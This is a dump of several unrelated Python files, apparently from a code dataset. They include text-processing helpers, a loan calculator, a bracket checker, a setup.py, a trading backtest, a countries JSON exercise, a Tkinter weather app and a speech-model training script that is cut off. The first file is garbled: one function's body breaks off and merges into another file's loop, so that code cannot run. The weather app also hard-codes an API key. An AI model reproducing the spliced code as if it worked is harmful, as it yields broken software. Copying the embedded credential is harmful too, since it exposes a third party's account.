['seeming', 'seems', 'serious', 'several', 'she', 'should']\r\nstopwords += ['show', 'side', 'since', 'sincere', 'six', 'sixty', 'so']\r\nstopwords += ['some', 'somehow', 'someone', 'something', 'sometime']\r\nstopwords += ['sometimes', 'somewhere', 'still', 'such', 'system', 'take']\r\nstopwords += ['ten', 'than', 'that', 'the', 'their', 'them', 'themselves']\r\nstopwords += ['then', 'thence', 'there', 'thereafter', 'thereby']\r\nstopwords += ['therefore', 'therein', 'thereupon', 'these', 'they']\r\nstopwords += ['thick', 'thin', 'third', 'this', 'those', 'though', 'three']\r\nstopwords += ['three', 'through', 'throughout', 'thru', 'thus', 'to']\r\nstopwords += ['together', 'too', 'top', 'toward', 'towards', 'twelve']\r\nstopwords += ['twenty', 'two', 'un', 'under', 'until', 'up', 'upon']\r\nstopwords += ['us', 'very', 'via', 'was', 'we', 'well', 'were', 'what']\r\nstopwords += ['whatever', 'when', 'whence', 'whenever', 'where']\r\nstopwords += ['whereafter', 'whereas', 'whereby', 'wherein', 'whereupon']\r\nstopwords += ['wherever', 'whether', 'which', 'while', 'whither', 'who']\r\nstopwords += ['whoever', 'whole', 'whom', 'whose', 'why', 'will', 'with']\r\nstopwords += ['within', 'without', 'would', 'yet', 'you', 'your']\r\nstopwords += ['yours', 'yourself', 'yourselves']\r\n\r\n# Given a string containing French accented characters\r\n# in Unicode or HTML, return normalized lowercase.\r\n\r\ndef normalizeFrenchAccents(str):\r\n newstr = unicode(str, 'utf-8').encode('latin-1', 'replace')\r\n newstr = newstr.lower()\r\n newstr = newstr.replace('’', '\\'')\r\n newstr = newstr.replace('\\xc0', '\\xe0') # a grave \r\n newstr = newstr.replace('à', '\\xe0') # a grave \r\n newstr = newstr.replace('\\xc2', '\\xe2') # a circumflex\r\n newstr = newstr.replace('â', '\\xe2') # a circumflex\r\n newstr = newstr.replace('\\xc4', '\\xe4') # a diaeresis\r\n newstr = newstr.replace('ä', '\\xe4') # a diaeresis\r\n newstr = newstr.replace('\\xc6', '\\xe6') # ae ligature\r\n newstr = newstr.replace('æ', '\\xe6') # ae ligature\r\n newstr = newstr.replace('\\xc8', '\\xe8') # e grave\r\n newstr = newstr.replace('è', '\\xe8') # e grave\r\n newstr = newstr.replace('\\xc9', '\\xe9') # e acute\r\n newstr = newstr.replace('é', '\\xe9') # e acute\r\n newstr = newstr.replace('\\xca', '\\xea') # e circumflex\r\n newstr = newstr.replace('ê', '\\xea') # e circumflex\r\n newstr = newstr.replace('\\xcb', '\\xeb') # e diaeresis\r\n newstr = newstr.replace('ë', '\\xeb') # e diaeresis\r\n newstr = newstr.replace('\\xce', '\\xee') # i circumflex\r\n newstr = newstr.replace('î', '\\xee') # i circumflex\r\n newstr = newstr.replace('\\xcf', '\\xef') # i diaeresis\r\n newstr = newstr.replace('ï', '\\xef') # i diaeresis\r\n newstr = newstr.replace('\\xd4', '\\xf4') # o circumflex\r\n newstr = newstr.replace('ô', '\\xf4') # o circumflex\r\n newstr = newstr.replace('œ', 'oe') # oe ligature\r\n newstr = newstr.replace('\\xd9', '\\xf9') # u grave\r\n newstr = newstr.replace('ù', '\\xf9') # u grave\r\n newstr = newstr.replace('\\xdb', '\\xfb') # u circumflex \r\n newstr = newstr.replace('û', '\\xfb') # u circumflex \r\n newstr = newstr.replace('\\xdc', '\\xfc') # u diaeresis\r\n newstr = newstr.replace('ü', '\\xfc') # u diaeresis\r\n newstr = newstr.replace('\\xc7', '\\xe7') # c cedilla\r\n newstr = newstr.replace('ç', '\\xe7') # c cedilla\r\n newstr = newstr.replace('ÿ', '\\xff') # y diaeresis\r\n return newstr\r\n\r\n# Given a string containing HTML, remove all characters\r\n# between matching pairs of angled brackets, inclusive.\r\n\r\ndef stripTags(html):\r\n inside = 0\r\n text = ''\r\n for char in html:\r\n if char == '<':\r\n inside = 1\r\n continue\r\n elif (inside == 1 and char == '>'):\r\n inside = 0\r\n continue\r\n elif inside == 1:\r\n continue\r\n else:\r\n text += char\r\n return text\r\n\r\n# Given a text string, remove all non-alphanumeric\r\n# characters (using Unicode definition of alphanumeric).\r\n\r\ndef stripNonAlphaNum(text):\r\n import re\r\n return re.compile(r'\\W+', re.UNICODE).split(text)\r\n\r\n# Given a URL, return string of lowercase text from page.\r\n\r\ndef webPageToText(url):\r\n import urllib2\r\n response = urllib2.urlopen(url)\r\n html = response.read()\r\n text = stripTags(html).replace(' ', ' ')\r\n return text.lower()\r\n\r\n# Given a list of words, remove any that are\r\n# in a list of stop words.\r\n\r\ndef removeStopwords(wordlist, stopwords):\r\n return [w for w in wordlist if w not in stopwords]\r\n\r\n# Given a list of words, return a dictionary of\r\n# word-frequency pairs.\r\n\r\ndef wordListToFreqDict(wordlist):\r\n wordfreq = [wordlist.count(p) for p in wordlist]\r\n return dict(zip(wordlist,wordfreq))\r\n\r\n# Sort a dictionary of word-frequency pairs in\r\n# order of descending frequency.\r\n\r\ndef sortFreqDict(freqdict):\r\n aux = [(freqdict[key], key) for key in freqdict]\r\n aux.sort()\r\n aux.reverse()\r\n return aux\r\n\r\n# Given a dictionary of frequency-word pairs sorted\r\n# in order of descending frequency, re-sort so it is\r\n# in alphabetical order by word.\r\n\r\ndef reSortFreqDictAlpha(sorteddict):\r\n import operator\r\n aux = [pair for pair in sorteddict]\r\n aux.sort(key=operator.itemgetter(1))\r\n return aux\r\n\r\n# Given name of calling program, a url and a string to wrap,\r\n# output string in HTML body with basic metadata\r\n# and open in Firefox tab.\r\n\r\ndef wrapStringInHTML(program, url, body):\r\n import datetime\r\n # from webbrowser import open_new_tab\r\n now = datetime.datetime.today().strftime(\"%Y%m%d-%H%M%S\")\r\n filename = program + '.html'\r\n f = open(filename,'w')\r\n wrapper = \"\"\"\r\n \r\n%s output - %s \r\n \r\n %s\r\n \"\"\"\r\n return astr % (url, linkname)\r\n\r\n# Given a list of words and a number n, return a list\r\n# of n-grams.\r\n\r\ndef getNGrams(wordlist, n):\r\n return [wordlist[i:i+n] for i in range(len(wordlist)-(n-1))]\r\n\r\n# Given a list of n-grams, return a dictionary of KWICs,\r\n# indexed by keyword.\r\n\r\ndef nGramsToKWICDict(ngrams):\r\n kwicdict = {}\r\n keyindex = len(ngrams[0]) // 2\r\n for k in ngrams:\r\n if k[keyindex] not in kwicdict:\r\n kwicdict[k[keyindex]] = [k]\r\n else:\r\n kwicdict[k[keyindex]].append(k)\r\n return kwicdict\r\n\r\n# Given a KWIC, return a string that is formatted for\r\n# pretty printing.\r\n\r\ndef prettyPrintKWIC(kwic):\r\n n = len(kwic)\r\n keyindex = n // 2\r\n width = 10\r\n outstring = ' '.join(kwic[:keyindex]).rjust(width*keyindex)\r\n outstring += str(kwic[keyindex]).center(len(kwic[keyindex])+6)\r\n outstring += ' '.join(kwic[(keyindex+1):])\r\n return outstring\r\n \r\n# Given the body of a div and an optional string of\r\n# property-value pairs, return string containing HTML\r\n# and inline CSS for default div.\r\n\r\ndef defaultCSSDiv(divbody, opt=''):\r\n divstr = \"\"\" 0:\n MonthlyPayment = (cost - DownPayment) * .05 # constant payment, doesn't change until the last month\n InterestRate = StartingBalance * .12 / 12 # determined by using current balance and interest rate\n if(StartingBalance < MonthlyPayment):\n MonthlyPayment = StartingBalance\n InterestRate = 0 # if the balance is less than the monthly payment, there is no interest to pay\n Principal = MonthlyPayment - InterestRate\n endingBalance = StartingBalance - Principal\n print(month, \"\\t\\t\", \"%.2f\" % StartingBalance, \"\\t\\t\" , \"%.2f\" % InterestRate, \"\\t\\t\" , \"%.2f\" % Principal, \"\\t\\t\" , \"%.2f\" % MonthlyPayment, \"\\t\\t\", \"%.2f\" % endingBalance)\n StartingBalance = endingBalance # set the starting balance to the ending balance\n month += 1\n \ninterest(cost)\n","repo_name":"mkongable/LeetCode","sub_path":"Dec2022/haydenHelp3.py","file_name":"haydenHelp3.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"13830952941","text":"\"\"\"\nFile: brackets.py\nChecks expressions for matching brackets\n\"\"\"\n\nfrom linkedstack import LinkedStack \n\ndef bracketsBalance(exp):\n\t\"\"\"exp is a string that represents the expression\"\"\"\n\tstk = LinkedStack()\n\tfor ch in exp:\n\t\tif ch in ['[','{','(']:\n\t\t\tstk.push(ch)\n\t\t\tprint(\"pushes in\", ch)\n\t\telif ch in [']',')','}']:\n\t\t\tif stk.isEmpty():\n\t\t\t\tprint(\"Stops at isEmpty\")\n\t\t\t\treturn False\n\t\t\tchFromStack = stk.pop()\n\t\t\tprint(\"pops out\", chFromStack)\n\t\t\t# Brackets must be of same type and match up\n\t\t\tif (ch == ']' and chFromStack != '[')\\\n\t\t\tor (ch == '}' and chFromStack != '{')\\\n\t\t\tor (ch == ')' and chFromStack != '('):\n\t\t\t\tprint(\"Stops at test\")\n\t\t\t\treturn False\n\treturn stk.isEmpty()\n\ndef main():\n\texp = input(\"Enter a bracketd expression: \")\n\tif bracketsBalance(exp):\n\t\tprint(\"OK\")\n\telse:\n\t\tprint(\"Not OK\")\n\n\nif __name__ == \"__main__\":\n\tmain()","repo_name":"teenitiny/py-exercise","sub_path":"algorithm/brackets.py","file_name":"brackets.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"15846524128","text":"\"\"\"\nSetup for rubber.\n\"\"\"\nimport sys\n\nfrom setuptools import find_packages\nfrom setuptools import setup\n\nexec(open('rubber/version.py').read())\n\ninstall_requires = [\n 'elasticsearch',\n 'elasticsearch-dsl',\n 'celery',\n 'six',\n 'tqdm',\n]\nif sys.version_info.major == 2:\n install_requires.append('futures')\n\nsetup(\n name='django-rubber',\n version=__version__, # noqa\n keywords='django, elasticsearch',\n author='Laurent Guilbert',\n author_email='laurent@guilbert.me',\n url='https://github.com/liberation/django-rubber',\n description=\"No-frills Elasticsearch's wrapper for your Django project.\",\n license='MIT License',\n classifiers=(\n 'Framework :: Django',\n 'Environment :: Web Environment',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 3',\n 'Intended Audience :: Developers',\n 'Operating System :: OS Independent',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n ),\n zip_safe=False,\n include_package_data=True,\n packages=find_packages(),\n install_requires=install_requires,\n)\n","repo_name":"liberation/django-rubber","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"24"}
+{"seq_id":"41432445579","text":"from datetime import datetime\nfrom decimal import Decimal\nimport gc \nimport pandas as pd\nfrom nautilus_trader.backtest.data.providers import TestDataProvider\nfrom nautilus_trader.backtest.data.providers import TestInstrumentProvider\nfrom nautilus_trader.backtest.data.wranglers import QuoteTickDataWrangler\nfrom nautilus_trader.backtest.engine import BacktestEngine\nfrom nautilus_trader.backtest.engine import BacktestEngineConfig\nfrom nautilus_trader.backtest.models import FillModel\nfrom nautilus_trader.backtest.modules import FXRolloverInterestModule\nimport os\nfrom nautilus_trader.examples.strategies.as_market_maker import ASMarketMaker,ASMarketMakerConfig \nfrom nautilus_trader.config.backtest import BacktestRunConfig, BacktestVenueConfig, BacktestDataConfig\nfrom nautilus_trader.persistence.catalog.parquet import ParquetDataCatalog\nfrom pathlib import Path\nfrom nautilus_trader.model.currencies import USDT\nfrom nautilus_trader.model.enums import AccountType\nfrom nautilus_trader.model.enums import OMSType\nfrom nautilus_trader.model.identifiers import InstrumentId\nfrom nautilus_trader.model.identifiers import Symbol\nfrom nautilus_trader.model.identifiers import Venue\nfrom nautilus_trader.model.objects import Money\nfrom nautilus_trader.model.instruments.currency_pair import CurrencyPair\nfrom nautilus_trader.model.objects import Price, Quantity\nfrom nautilus_trader.persistence.external.core import process_files, write_objects\nfrom nautilus_trader.persistence.external.readers import ParquetReader\nfrom nautilus_trader.model.enums import BookType\nfrom nautilus_trader.model.orderbook.book import L2OrderBook\nfrom nautilus_trader.model.orderbook.data import OrderBookData\nfrom nautilus_trader.model.orderbook.data import OrderBookDeltas\nfrom nautilus_trader.model.orderbook.data import OrderBookSnapshot\nfrom functools import partial\nfrom nautilus_trader.model.enums import AggregationSource, PriceType\nfrom nautilus_trader.core.datetime import dt_to_unix_nanos\nfrom nautilus_trader.backtest.data.providers import TestDataProvider\nimport gc \nfrom joblib import Parallel,delayed \nfrom tqdm import tqdm \n\n\nfrom nautilus_trader.config import StreamingConfig\ndef streaming_config(\n catalog: ParquetDataCatalog,\n kind: str = \"backtest\",\n ) -> StreamingConfig:\n return StreamingConfig(\n catalog_path=str(catalog.path),\n fs_protocol=catalog.fs_protocol,\n kind=kind,\n )\n\n\ndef backtest_one(params):\n # Configure backtest engine\n CATALOG_PATH = \"catalog\"\n #import pickle \n \n streaming = streaming_config(ParquetDataCatalog(CATALOG_PATH))\n\n config = BacktestEngineConfig(\n trader_id=\"BACKTESTER-001\",\n streaming=streaming,\n )\n # Build the backtest engine\n engine = BacktestEngine(config=config)\n\n # Setup trading instruments\n BINANCE = Venue(\"BINANCE\")\n \n # Create a fill model (optional)\n fill_model = FillModel(\n prob_fill_on_limit=1,\n prob_fill_on_stop=1,\n prob_slippage=0,\n random_seed=42,\n )\n # Add a trading venue (multiple venues possible)\n # Add starting balances for single-currency or multi-currency accounts\n engine.add_venue(\n venue=BINANCE,\n oms_type=OMSType.NETTING,\n account_type=AccountType.MARGIN,\n base_currency=USDT, # Standard single-currency account\n starting_balances=[Money(1_000_000, USDT)],\n book_type=BookType.L2_MBP,\n )\n\n engine.add_instrument(params[\"instrument\"])\n data_config = BacktestDataConfig(\n catalog_path=str(CATALOG_PATH),\n data_cls=OrderBookData.fully_qualified_name(),\n instrument_id=params[\"instrument_id\"],\n start_time = params[\"start_time\"],\n end_time = params[\"end_time\"],\n )\n engine.add_data(data_config.load()[\"data\"])\n \n # Configure your strategy\n config = ASMarketMakerConfig(\n instrument_id=params[\"instrument_id\"],\n order_qty= params[\"order_qty\"],\n n_spreads= params[\"n_spreads\"],\n estimate_window = params[\"estimate_window\"],\n period = params[\"period\"],\n sigma_tick_period = params[\"sigma_tick_period\"],\n sigma_multiplier = params[\"sigma_multiplier\"],\n gamma = params[\"gamma\"],\n ema_tick_period = params[\"ema_tick_period\"],\n stop_loss= params[\"stop_loss\"],\n stoploss_sleep = params[\"stoploss_sleep\"],\n stopprofit = params[\"stopprofit\"],\n trailling_stop = params[\"trailling_stop\"],\n order_id_tag=\"001\",\n )\n # Instantiate and add your strategy\n strategy = ASMarketMaker(config=config)\n engine.add_strategy(strategy=strategy)\n\n\n # Run the engine (from start to end of data)\n engine.run()\n\n # Optionally view reports\n with pd.option_context(\n \"display.max_rows\",\n 100,\n \"display.max_columns\",\n None,\n \"display.width\",\n 300,\n ):\n print(engine.trader.generate_account_report(BINANCE))\n print(engine.trader.generate_order_fills_report())\n print(engine.trader.generate_positions_report())\n engine.trader.generate_order_fills_report().to_csv(\"orders.csv\")\n engine.trader.generate_account_report(BINANCE).to_csv(\"account.csv\")\n engine.trader.generate_positions_report().to_csv(\"positions.csv\")\n results = engine.get_result()\n #engine.cache.cache_positions()\n print(engine.cache.positions())\n # For repeated backtest runs make sure to reset the engine\n engine.reset()\n\n # Good practice to dispose of the object when done\n engine.dispose()\n gc.collect()\n return {\"total_orders\":results.total_orders,\n \"stats_pnls\":results.stats_pnls[\"USDT\"]['PnL%'],\n \"win rate\":results.stats_pnls[\"USDT\"]['Win Rate'],\n 'avg_win':results.stats_pnls[\"USDT\"]['Avg Winner'],\n \"maxloss\":results.stats_pnls[\"USDT\"]['Max Loser'],\n \"sharpratio\":results.stats_returns['Sharpe Ratio (252 days)'],\n \"sortin\":results.stats_returns['Sortino Ratio (252 days)'],\n }\n\n\n\n\n\nif __name__ == \"__main__\":\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument('--symbol',default='MATICUSDT')\n parser.add_argument(\"--venue\",default='BINANCE') \n parser.add_argument(\"--fileloction\",default=\"data/compressed\") \n args = parser.parse_args()\n CATALOG_PATH = \"catalog\"\n catalog = ParquetDataCatalog(CATALOG_PATH)\n instrument_id = f\"{args.symbol}-PERP.{args.venue}\"\n instrument = catalog.instruments(instrument_ids=[instrument_id],as_nautilus=True)[0]\n \n num_workers = int(os.cpu_count ()/2.0)\n PARAM_SET = [\n ]\n import numpy as np \n\n for i in [1]:\n params=dict(\n instrument = instrument,\n instrument_id = instrument_id,\n order_qty = 100,\n n_spreads = 10,\n estimate_window = 600000,\n period = 2000,\n sigma_tick_period = 500,\n sigma_multiplier = 1.0,\n gamma = 0.2,\n ema_tick_period = 200,\n stop_loss = 0.0618,\n stoploss_sleep = 30000,\n stopprofit = 0.00618,\n trailling_stop = 0.00382,\n start_time = '2022-11-13',\n end_time = '2022-11-14',\n )\n PARAM_SET.append(params) \n total_results = Parallel(n_jobs = num_workers)(\n delayed(backtest_one)(params) for params in tqdm(PARAM_SET )\n )\n total_results = pd.DataFrame(total_results)\n total_results[\"params\"] = PARAM_SET\n total_results = total_results.sort_values(by=\"stats_pnls\",ascending=False)\n total_results.to_csv(\"backtets_results.csv\")\n","repo_name":"graceyangfan/nautilus_tutorial","sub_path":"process/backtest_example.py","file_name":"backtest_example.py","file_ext":"py","file_size_in_byte":7976,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"24"}
+{"seq_id":"72535512062","text":"import json\nwith open(\"countries.json\",encoding=\"utf-8\") as f:\n data=json.load(f)\n\n#print total number of country details\nprint(len(data))\n#print details of india\nindia_details=[country for country in data if country[\"name\"]==\"India\"]\nprint(india_details)\n#print languages of ukrane\nlanguages=[country[\"languages\"] for country in data if country[\"name\"]==\"India\"]\nfor lan in languages[0]:\n print(lan[\"name\"])\n#print currency of china\ncurrency_details=[country[\"currencies\"] for country in data if country[\"name\"].lower().startswith(\"palestine\")]\ncurr=[details.get(\"name\") for details in currency_details[0]]\nprint(curr)\n# print(currency_details)\ncurrency=[country[\"currencies\"] for country in data if country[\"name\"]==\"China\"]\ncurrency_name=[c.get(\"name\")for c in currency[0]]\nprint(currency_name)\n#print population of india\npopulation=[country[\"population\"] for country in data if country[\"name\"]==\"India\"]\nprint(population)\n##print neighboring countries od australia\n# neighbor=[country[\"borders\"] for country in data if country[\"name\"]==\"India\"]\n# print(neighbor)\n\n\n#print neighboring countries od australia using function\ndef get_country_data(country_name):\n return[country for country in data if country[\"name\"].lower().startswith(country_name)]\n\naust_data=get_country_data(\"austria\")\nprint(aust_data[0].get(\"borders\"))\n\ncountry_data=get_country_data(\"india\")\ncountry_borders=country_data[0].get(\"borders\")\nsharing_borders=[country.get(\"name\") for country in data if country[\"alpha3Code\"] in country_borders]\nprint(sharing_borders)\n\n\n# country with highest population\npopulation=max(data,key=lambda d:d.get(\"population\"))\nprint(population.get(\"name\"))\n\n\n#country with minimum population\npopulation=min(data,key=lambda d:d.get(\"population\"))\nprint(population.get(\"name\"))","repo_name":"NandhithaDinesh/luminar","sub_path":"fileIO/countriesquestions.py","file_name":"countriesquestions.py","file_ext":"py","file_size_in_byte":1784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"21452661744","text":"from tkinter import *\nimport tkinter as tk\nfrom geopy.geocoders import Nominatim\nfrom tkinter import ttk,messagebox\nfrom timezonefinder import TimezoneFinder\nfrom datetime import datetime\nimport requests\nimport pytz\n\nroot = Tk()\nroot.title(\"Weather App\")\n\n# Get the screen width and height\nscreen_width = root.winfo_screenwidth()\nscreen_height = root.winfo_screenheight()\n\n# Calculate the x and y coordinates for the Tk root window\nx = (screen_width - 900) // 2\ny = (screen_height - 500) // 2\n\n# Set the geometry of the root window\nroot.geometry(f\"900x500+{x}+{y}\")\n\nroot.resizable(False, False)\nroot.attributes(\"-alpha\", 1)\t\t# transparency range 0-1\n\ndef getweather():\n try:\n city=textfield.get()\n if city == \"\":\n messagebox.showerror(\"Warning!\", \"Please enter a city name.\")\n return\n geolocator=Nominatim(user_agent=\"geoapiExercises\")\n location=geolocator.geocode(city)\n obj=TimezoneFinder()\n result=obj.timezone_at(lng=location.longitude,lat=location.latitude)\n\n name.config(text=result)\n long_lat.config(text=f\"{round(location.latitude,4)}°N / {round(location.longitude,4)}°E\")\n \n home=pytz.timezone(result)\n local_time=datetime.now(home)\n current_time=local_time.strftime(\"%I:%M %p\")\n clock.config(text=current_time)\n \n #WeatherApi\n api=\"https://api.openweathermap.org/data/2.5/weather?q=\"+city+\"&appid=a03a9654056957bfe21c192876194a6f\"\n \n json_data = requests.get(api).json()\n condition = json_data['weather'][0]['main']\n description = json_data['weather'][0]['description']\n temp = int(json_data['main']['temp']-273.15)\n pressure = (json_data['main']['pressure'])\n humidity = (json_data['main']['humidity'])\n wind = (json_data['wind']['speed'])\n sunrise = datetime.fromtimestamp(json_data['sys']['sunrise']).strftime(\"%I:%M %p\")\n sunset = datetime.fromtimestamp(json_data['sys']['sunset']).strftime(\"%I:%M %p\")\n \n t.config(text=f\"{temp}°C\")\n c.config(text=(condition,\"|\",\"FEELS\",\"LIKE\",temp,\"°C\"))\n \n w.config(text=f\"{wind} m/s\")\n h.config(text=f\"{humidity}%\")\n d.config(text=description)\n p.config(text=f\"{pressure} hPa\")\n sr.config(text=sunrise)\n ss.config(text=sunset)\n \n except Exception as e:\n messagebox.showerror(\"Weather App\",\"Invalid Entry!!\")\n\ndef reset_data():\n t.config(text=\"...\")\n c.config(text=\"...\")\n w.config(text=\"...\")\n h.config(text=\"...\")\n d.config(text=\"...\")\n p.config(text=\"...\")\n sr.config(text=\"...\")\n ss.config(text=\"...\")\n\n#Search Box\nSearch_image=PhotoImage(file=\"search.png\")\nmyimage=Label(image=Search_image)\nmyimage.place(x=20,y=20)\n\ntextfield=tk.Entry(root,justify=\"center\",width=17,font=(\"poppins\",25,\"bold\"),bg=\"#404040\",border=0,fg=\"white\")\ntextfield.place(x=50,y=40)\ntextfield.focus()\t#sets the focus on the text field itself\ntextfield.bind(\"\", lambda event: getweather()) #binds the Enter key event to a specific function\ntextfield.bind(\"\", lambda event: reset_data())\n\nSearch_icon=PhotoImage(file=\"searchicon.png\")\nmyimage_icon=Button(image=Search_icon,borderwidth=0,cursor=\"hand2\",bg=\"#404040\",activebackground='#404040',command=getweather)\nmyimage_icon.place(x=400,y=34)\n\n#Logo\nlogo_image=PhotoImage(file=\"im.png\")\nlogoimage=Label(image=logo_image)\nlogoimage.place(x=150,y=100) \n\n#sunrise/sunset icon\nsr_image=PhotoImage(file=\"sunrise.png\")\nsrimage=Label(image=sr_image)\nsrimage.place(x=90,y=355)\n\nss_image=PhotoImage(file=\"sunset.png\")\nssimage=Label(image=ss_image)\nssimage.place(x=590,y=355)\n\n\n#Bottom box\nFrame_image=PhotoImage(file=\"box.png\")\nframe_myimage=Label(image=Frame_image)\nframe_myimage.pack(padx=5,pady=5,side=BOTTOM)\n\n#Timezone\nname=Label(root,font=(\"arial\",12,'bold'))\nname.place(x=690,y=20)\nlong_lat=Label(root,font=(\"arial\",12,'bold'))\nlong_lat.place(x=690,y=50)\n\nclock=Label(root,font=(\"Helvetica\",20,'bold'))\nclock.place(x=30,y=100)\n\n# Label\nlabel1 = Label(root, text=\"WIND\", font=(\"Helvetica\", 15, 'bold'), fg=\"white\", bg=\"#1ab5ef\")\nlabel1.place(x=120, y=400)\n\nlabel2 = Label(root, text=\"HUMIDITY\", font=(\"Helvetica\", 15, 'bold'), fg=\"white\", bg=\"#1ab5ef\")\nlabel2.place(x=250, y=400)\n\nlabel3 = Label(root, text=\"DESCRIPTION\", font=(\"Helvetica\", 15, 'bold'), fg=\"white\", bg=\"#1ab5ef\")\nlabel3.place(x=420, y=400)\n\nlabel4 = Label(root, text=\"PRESSURE\", font=(\"Helvetica\", 15, 'bold'), fg=\"white\", bg=\"#1ab5ef\")\nlabel4.place(x=650, y=400)\n\nlabel5 = Label(root, text=\"SUNRISE\", font=(\"Helvetica\", 14, 'bold'),fg=\"#1ab5ef\")\nlabel5.place(x=125, y=356)\n\nlabel6 = Label(root, text=\"SUNSET\", font=(\"Helvetica\", 14, 'bold'),fg=\"#1ab5ef\")\nlabel6.place(x=630, y=356)\n\n\nt = Label(font=(\"arial\", 70, \"bold\"), fg=\"#ee666d\")\nt.place(x=400, y=150)\nc = Label(font=(\"arial\", 15, \"bold\"), fg=\"#ee666d\")\nc.place(x=400, y=250)\n\nw = Label(text=\"...\", font=(\"arial\",15, \"bold\"), bg=\"#1ab5ef\")\nw.place(x=125, y=430)\nh = Label(text=\"...\", font=(\"arial\",15,\"bold\"), bg=\"#1ab5ef\")\nh.place(x=280, y=430)\nd = Label(text=\"...\", font=(\"arial\",15, \"bold\"), bg=\"#1ab5ef\")\nd.place(x=420, y=430)\np = Label(text=\"...\", font=(\"arial\",15, \"bold\"), bg=\"#1ab5ef\")\np.place(x=670, y=430)\nsr = Label(text=\"...\", font=(\"arial\", 14, \"bold\"))\nsr.place(x=220, y=356)\nss = Label(text=\"...\", font=(\"arial\", 14, \"bold\"))\nss.place(x=715, y=356)\n\nroot.mainloop()\n\n\n","repo_name":"NIKESHG/Weather_app","sub_path":"Weatherapp.py","file_name":"Weatherapp.py","file_ext":"py","file_size_in_byte":5437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"30415706600","text":"import os\nimport tensorflow as tf\nfrom utils import get_data, data_hparams, history_loss\nfrom keras.callbacks import ModelCheckpoint\n\n# import matplotlib.pyplot as plt\n\n\n# 0.准备训练所需数据------------------------------\ndata_args = data_hparams()\ndata_args.data_type = 'train'\ndata_args.data_path = '../../dataset/'\n# data_args.data_path = '/mnt/data/wanli/dataset/data_thchs30/train/'\ndata_args.thchs30 = True\ndata_args.aishell = False\ndata_args.prime = False\ndata_args.stcmd = False\ndata_args.batch_size = 4\n# data_args.data_length = 10\ndata_args.data_length = None\ndata_args.shuffle = True\ntrain_data = get_data(data_args)\n\n# 0.准备验证所需数据------------------------------\ndata_args = data_hparams()\ndata_args.data_type = 'dev'\ndata_args.data_path = '../../dataset/'\n# data_args.data_path = '/mnt/data/wanli/dataset/data_thchs30/test/'\ndata_args.thchs30 = True\ndata_args.aishell = False\ndata_args.prime = False\ndata_args.stcmd = False\ndata_args.batch_size = 4\ndata_args.data_length = None\n# data_args.data_length = 10\ndata_args.shuffle = True\ndev_data = get_data(data_args)\n\n# 1.声学模型训��-----------------------------------\nfrom model_speech.cnn_ctc import Am, am_hparams\n\nam_args = am_hparams()\nam_args.vocab_size = len(train_data.am_vocab)\nam_args.gpu_nums = 1\n# [1e-3,1e-5]\n# [0.00008,0.0008],0.0003\n# am_args.lr = 0.0016\n# am_args.lr = 0.00002\nam_args.lr = 0.000005\n# am_args.lr = 1e-4\n# am_args.lr = 2e-6\nam_args.is_training = True\nam = Am(am_args)\n\nif os.path.exists('logs_am/model.h5'):\n print('load acoustic model...')\n am.ctc_model.load_weights('logs_am/model.h5')\n\nepochs = 10\n# epochs = 2\nbatch_num = len(train_data.wav_lst) // train_data.batch_size\n\n# checkpoint\n# ckpt = \"model_{epoch:02d}-{val_acc:.2f}.hdf5\"\nckpt = \"model_{epoch:02d}.hdf5\"\ncheckpoint = ModelCheckpoint(\n os.path.join('./checkpoint', ckpt),\n monitor='val_loss',\n # monitor='val_acc',\n save_weights_only=False,\n verbose=1,\n save_best_only=True\n)\n\n#\n# for k in range(epochs):\n# print('this is the', k+1, 'th epochs trainning !!!')\n# batch = train_data.get_am_batch()\n# dev_batch = dev_data.get_am_batch()\n# am.ctc_model.fit_generator(batch, steps_per_epoch=batch_num, epochs=10, callbacks=[checkpoint], workers=1, use_multiprocessing=False, validation_data=dev_batch, validation_steps=200)\n\nbatch = train_data.get_am_batch()\ndev_batch = dev_data.get_am_batch()\n\nhistory = am.ctc_model.fit_generator(\n batch,\n steps_per_epoch=batch_num,\n epochs=70,\n # epochs=5,\n callbacks=[checkpoint],\n workers=1,\n use_multiprocessing=False,\n validation_data=dev_batch,\n validation_steps=200\n)\nam.ctc_model.save_weights('logs_am/model.h5')\n\n# 训练参数曲线\nhistory_dict = history.history\nprint(\"history_dict.keys():\")\nprint(history_dict.keys())\n# 损失曲线\nhistory_loss(history_dict, am_args.lr)\n\n# 2.语言模型训练-------------------------------------------\nfrom model_language.transformer import Lm, lm_hparams\n\nlm_args = lm_hparams()\nlm_args.num_heads = 8\nlm_args.num_blocks = 6\nlm_args.input_vocab_size = len(train_data.pny_vocab)\nlm_args.label_vocab_size = len(train_data.han_vocab)\nlm_args.max_length = 100\nlm_args.hidden_units = 512\nlm_args.dropout_rate = 0.2\nlm_args.lr = 0.0003\nlm_args.is_training = True\nlm = Lm(lm_args)\n\nepochs = 10\n# epochs = 5\nwith lm.graph.as_default():\n saver = tf.train.Saver()\nwith tf.Session(graph=lm.graph) as sess:\n merged = tf.summary.merge_all()\n sess.run(tf.global_variables_initializer())\n add_num = 0\n if os.path.exists('logs_lm/checkpoint'):\n print('loading language model...')\n latest = tf.train.latest_checkpoint('logs_lm')\n add_num = int(latest.split('_')[-1])\n saver.restore(sess, latest)\n writer = tf.summary.FileWriter('logs_lm/tensorboard', tf.get_default_graph())\n for k in range(epochs):\n total_loss = 0\n batch = train_data.get_lm_batch()\n for i in range(batch_num):\n input_batch, label_batch = next(batch)\n feed = {lm.x: input_batch, lm.y: label_batch}\n cost, _ = sess.run([lm.mean_loss, lm.train_op], feed_dict=feed)\n total_loss += cost\n if (k * batch_num + i) % 10 == 0:\n rs = sess.run(merged, feed_dict=feed)\n writer.add_summary(rs, k * batch_num + i)\n print('epochs', k + 1, ': average loss = ', total_loss / 